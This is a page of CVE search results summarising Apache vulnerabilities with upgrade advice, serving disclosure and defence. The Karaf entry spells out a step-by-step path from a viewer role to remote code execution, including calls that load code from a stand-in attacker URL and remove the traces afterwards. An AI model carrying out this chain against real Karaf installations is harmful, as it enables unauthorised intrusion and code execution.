Export limit exceeded: 403962 CVEs match your query. Please refine your search to export 10,000 CVEs or fewer.
Search
Search Results (1610 CVEs found)
| CVE | Vendors | Products | Updated | CVSS v3.1 |
|---|---|---|---|---|
| CVE-2026-92142 | 1 Apache | 1 Karaf | 2026-10-07 | 8.8 High |
| Apache Karaf exposes a JMX MBeanServer guarded by KarafMBeanServerGuard, which enforces role-based access control (RBAC) on MBean operations invoked over the remote JMX connector (RMI registry/server, enabled by default on ports 1099 and 44444). The guard is implemented as a java.lang.reflect.Proxy around the MBeanServer, and only forwards a fixed list of operation names to the RBAC check, defined in MBeanInvocationHandler#guarded: private final List<String> guarded = Collections.unmodifiableList( Arrays.asList("invoke", "getAttribute", "getAttributes", "setAttribute", "setAttributes")); The MBean lifecycle operations MBeanServer#createMBean, #registerMBean and #unregisterMBean are not in this list. Calls to these methods are forwarded directly to the underlying MBeanServer with no role check at all, regardless of the roles configured in etc/jmx.acl.*.cfg. As a result, any user who can authenticate to the JMX endpoint, including a user holding only the least-privileged "viewer" role, can call createMBean() to instantiate an arbitrary class as a MBean, and unregisterMBean() to remove it again afterwards, with no authorization check and no audit log entry (logging in KarafMBeanServerGuard only occurs on the RBAC-denial path, which this bypass never reaches). This is significant because javax.management.loading.MLet, a standard JDK MBean, can be instantiated this way. MLet acts as a remote classloader: its getMBeansFromURL(URL) operation fetches an MLet text file from an attacker-controlled URL and instantiates and registers the classes it lists as new MBeans in the target JVM. Reaching this operation still goes through KarafMBeanServerGuard's existing "invoke" check, but the default etc/jmx.acl.cfg grants the "viewer" role to any method name matching the wildcard rule "get* = viewer", a heuristic intended for read-only getters. Because "getMBeansFromURL" happens to start with "get", it also matches that rule, so a default installation grants "viewer" callers permission to invoke it without any Karaf-specific ACL naming MLet at all. Combined with the createMBean gap, this gives a "viewer"-role JMX client a path to remote code execution to the Karaf JVM: * Authenticate to JMX as any user with any role (e.g. "viewer"). * mbs.createMBean("javax.management.loading.MLet", objectName) is not in GUARDED_OPERATIONS, no RBAC check, MLet is instantiated and registered. * mbs.invoke(objectName, "getMBeansFromURL", new Object[]{"http://attacker/mlet.txt"}, ...) is guarded, but the method name matches the default "get* = viewer" ACL rule, so permitted. * The remote .mlet file is fetched and its listed classes are loaded and registered as new MBeans, running attacker-supplied code in the Karaf JVM. * mbs.unregisterMBean(objectName) can be used to remove the MLet afterwards, also not in GUARDED_OPERATIONS, no RBAC check, no audit trail. The fix adds createMBean, registerMBean and unregisterMBean to the guarded operation list, resolves required roles for them from the jmx.acl* configuration by ObjectName and (for createMBean/registerMBean) MBean class name, and ships default etc/jmx.acl.cfg entries restricting all three operations to the "admin" role. This allows deployments to also write class-name-specific rule, e.g.: createMBean(java.lang.String)[/javax\.management\.loading\..*/] = admin Apache Karaf users should upgrade to 4.4.12 or 4.5.0 or later, once released, as soon as possible. Until an upgrade is available, restrict network access to the JMX RMI registry/server ports (1099/44444) to trusted hosts, or avoid issuing any non-"admin" JMX credentiels. | ||||
| CVE-2026-97720 | 1 Apache | 1 Impala | 2026-10-07 | 9.1 Critical |
| Incorrect implementation of JWT/OAuth authentication in Impala executors in Apache Impala versions up to and including 4.5.2 which allows attacked to access resources served by the executor's webserver when that webserver is configured to accept JWT/OAuth tokens. Bearer token (JWT) signatures are not validated resulting in the webserver accepting any valid JWT. Users are recommended to either disable JWT/OAuth auth for Impala executors or upgrade to version 4.5.3, which fixes this issue. | ||||
| CVE-2021-21341 | 7 Apache, Debian, Fedoraproject and 4 more | 19 Activemq, Jmeter, Debian Linux and 16 more | 2026-10-07 | 7.5 High |
| XStream is a Java library to serialize objects to XML and back again. In XStream before version 1.4.16, there is vulnerability which may allow a remote attacker to allocate 100% CPU time on the target system depending on CPU type or parallel execution of such a payload resulting in a denial of service only by manipulating the processed input stream. No user is affected who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types. If you rely on XStream's default blacklist of the Security Framework, you will have to use at least version 1.4.16. | ||||
| CVE-2020-26217 | 6 Apache, Debian, Netapp and 3 more | 23 Activemq, Debian Linux, Snapmanager and 20 more | 2026-10-07 | 8 High |
| XStream before version 1.4.14 is vulnerable to Remote Code Execution.The vulnerability may allow a remote attacker to run arbitrary shell commands only by manipulating the processed input stream. Only users who rely on blocklists are affected. Anyone using XStream's Security Framework allowlist is not affected. The linked advisory provides code workarounds for users who cannot upgrade. The issue is fixed in version 1.4.14. | ||||
| CVE-2016-1000031 | 1 Apache | 1 Commons Fileupload | 2026-10-07 | 9.8 Critical |
| Apache Commons FileUpload before 1.3.3 DiskFileItem File Manipulation Remote Code Execution | ||||
| CVE-2016-3092 | 5 Apache, Canonical, Debian and 2 more | 9 Commons Fileupload, Tomcat, Ubuntu Linux and 6 more | 2026-10-07 | 7.5 High |
| The MultipartStream class in Apache Commons Fileupload before 1.3.2, as used in Apache Tomcat 7.x before 7.0.70, 8.x before 8.0.36, 8.5.x before 8.5.3, and 9.x before 9.0.0.M7 and other products, allows remote attackers to cause a denial of service (CPU consumption) via a long boundary string. | ||||
| CVE-2015-6420 | 1 Apache | 1 Commons Collections | 2026-10-07 | 9.8 Critical |
| Serialized-object interfaces in certain Cisco Collaboration and Social Media; Endpoint Clients and Client Software; Network Application, Service, and Acceleration; Network and Content Security Devices; Network Management and Provisioning; Routing and Switching - Enterprise and Service Provider; Unified Computing; Voice and Unified Communications Devices; Video, Streaming, TelePresence, and Transcoding Devices; Wireless; and Cisco Hosted Services products allow remote attackers to execute arbitrary commands via a crafted serialized Java object, related to the Apache Commons Collections (ACC) library. | ||||
| CVE-2014-0050 | 3 Apache, Oracle, Redhat | 16 Commons Fileupload, Tomcat, Retail Applications and 13 more | 2026-10-07 | 7.5 High |
| MultipartStream.java in Apache Commons FileUpload before 1.3.1, as used in Apache Tomcat, JBoss Web, and other products, allows remote attackers to cause a denial of service (infinite loop and CPU consumption) via a crafted Content-Type header that bypasses a loop's intended exit conditions. | ||||
| CVE-2026-87830 | 1 Apache | 1 Wss4j | 2026-10-06 | 9.1 Critical |
| In the StAX streaming WS-SecurityPolicy validator, certain relative or unsupported XPath expressions can be converted into paths that never match the actual XML element path. A remote SOAP peer may therefore send a required element without the expected signature or encryption. Users are recommended to upgrade to versions 4.0.2 or 3.0.6 or 2.4.4, which fix this issue. | ||||
| CVE-2026-89238 | 1 Apache | 1 Wss4j | 2026-10-06 | 9.1 Critical |
| WSS4J EncryptedHeader child confusion could promote an attacker-controlled plaintext element as the decrypted header, leading to incorrect confidentiality coverage and possible policy bypass. Users are recommended to upgrade to versions 4.0.2 or 3.0.6 or 2.4.4, which fix this issue. | ||||
| CVE-2026-92121 | 1 Apache | 1 Wss4j | 2026-10-06 | 7.5 High |
| In the WSS4J streaming (StAX) code, a signature reference using the WS-Security STR-Transform leaves an internal "inside signed content" flag permanently set. The WS-SecurityPolicy enforcer uses that flag to decide whether an element needs checking, so it stops evaluating SignedParts and SignedElements for the rest of the message. A policy requiring the SOAP Body to be signed is then satisfied even when the Body carries no signature, removing the protection against XML Signature Wrapping. Signature verification itself is unaffected. The DOM code is not affected. Users are recommended to upgrade to versions 4.0.2 or 3.0.6 or 2.4.4 which fix this issue. | ||||
| CVE-2026-95616 | 1 Apache | 1 Wss4j | 2026-10-06 | 7.5 High |
| An integer overflow in WSS4J's DER bounds check lets an oversized allocation pass validation. An unauthenticated attacker can send a SOAP message carrying an X.509 certificate whose SubjectKeyIdentifier extension declares a length of 0x7FFFFFFF; WSS4J decodes this while resolving the signature's key reference, before the message is authenticated, so an eleven-byte extension triggers a 2 GB allocation. Repeated requests exhaust server memory. Users are recommended to upgrade to versions 4.0.2 or 3.0.6 or 2.4.4, which fix this issue. | ||||
| CVE-2026-63718 | 2 Apache, Redhat | 2 Http Server, Hummingbird | 2026-10-06 | 7.5 High |
| Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') response smuggling vulnerability in Apache HTTP Server via mod_proxy_uwsgi and a crafted uwsgi response with Transfer-Encoding. This issue affects Apache HTTP Server: from 2.4.30 through 2.4.68. | ||||
| CVE-2026-102495 | 1 Apache | 1 Xmlschema | 2026-10-06 | 7.5 High |
| Apache XmlSchema doesn't limit how deeply schema imports and includes can be nested, so a malicious schema can make parsing recurse until the stack overflows. This causes a denial of service. Users are recommended to upgrade to version 2.3.3, which fixes this issue. | ||||
| CVE-2026-102496 | 1 Apache | 1 Xmlschema | 2026-10-06 | 7.5 High |
| Apache XmlSchema doesn't limit how deeply schema structures can be nested when it builds its schema model, so a malicious schema can make parsing recurse until the stack overflows. This causes a denial of service. Users are recommended to upgrade to version 2.3.3, which fixes this issue. | ||||
| CVE-2026-102497 | 1 Apache | 1 Xmlschema | 2026-10-06 | 7.5 High |
| The Apache XmlSchema walker (xmlschema-walker) doesn't detect cycles in type derivation, substitution groups, model groups or attribute groups. A malicious schema with such a cycle can make the walker recurse until the stack overflows, causing a denial of service. Users are recommended to upgrade to version 2.3.3, which fixes this issue. | ||||
| CVE-2026-94243 | 1 Apache | 2 Sling Security, Sling Security Bundle | 2026-10-06 | 7.3 High |
| A vulnerability in Apache Sling Security Bundle: the ReferrerFilter accepts weaker-than-orgin evidence. This issue affects Apache Sling Security Bundle: before 1.3.2. Users are recommended to upgrade to version 1.3.2, which fixes the issue. | ||||
| CVE-2026-86243 | 1 Apache | 2 Apache Tomcat, Tomcat Native | 2026-10-06 | 7.5 High |
| Buffer over-read vulnerability in Apache Tomcat Native during the TLS handshake permits a malicious user to trigger a DoS via a JVM crash. This issue affects Apache Tomcat Native: from 2.0.0 through 2.0.15, from 1.3.0 through 1.3.8. Earlier, unsupported versions may also be affected. Users are recommended to upgrade to version 1.3.9 or 2.0.16, which fix the issue. | ||||
| CVE-2026-86246 | 1 Apache | 2 Apache Tomcat, Tomcat Native | 2026-10-06 | 9.1 Critical |
| Initialization of a resource with an insecure default vulnerability in Apache Tomcat Native enabled insecure options by default including ALLOW_CLIENT_RENEGOTIATION, NO_EXTENDED_MASTER_SECRET, IGNORE_UNEXPECTED_EOF and ALLOW_NO_DHE_KEX. This issue affects Apache Tomcat Native: from 2.0.0 through 2.0.15, from 1.3.0 through 1.3.8. Earlier unsupported versions may also be affected. Users are recommended to upgrade to version 2.0.16 or 1.3.9, which fix the issue. | ||||
| CVE-2026-86247 | 1 Apache | 2 Apache Tomcat, Tomcat Native | 2026-10-06 | 7.4 High |
| Race condition within a thread vulnerability in Apache Tomcat Native allowed client certificate verification requirements to be down-graded for some configurations. This issue affects Apache Tomcat Native: from 2.0.0 through 2.0.15, from 1.3.0 through 1.3.8. Unsupported versions may also be affected. Users are recommended to upgrade to version 2.0.16 or 1.3.9, which fixes the issue. | ||||